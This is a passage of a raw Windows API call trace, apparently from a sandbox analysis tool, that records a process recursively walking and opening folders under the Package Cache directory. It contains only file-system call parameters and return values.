nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="")) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="")) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="")) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="")) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="")) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="")) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="")) returned 0 [0092.463] GetLastError () returned 0x12 [0092.463] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0092.463] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="")) returned 1 [0092.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0092.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.464] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.464] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.465] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.465] NtClose (Handle=0x184) returned 0x0 [0092.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.467] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.467] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.467] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.467] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.467] GetLastError () returned 0x12 [0092.467] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0092.467] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.467] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.467] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eb98 [0092.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.468] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.468] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.469] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.469] NtClose (Handle=0x184) returned 0x0 [0092.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eb98) returned 1 [0092.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eb98 [0092.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.471] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.471] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.471] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0092.471] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0092.471] GetLastError () returned 0x12 [0092.471] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.471] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.471] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.471] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0092.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eda8 [0092.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.472] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.473] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.473] NtClose (Handle=0x184) returned 0x0 [0092.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.475] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.475] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.475] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0092.475] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0092.475] GetLastError () returned 0x12 [0092.475] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.475] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.475] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.475] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0092.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f1c8 [0092.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.476] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.476] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.477] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.477] NtClose (Handle=0x184) returned 0x0 [0092.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f1c8) returned 1 [0092.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f1c8 [0092.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.479] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9200 [0092.479] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, 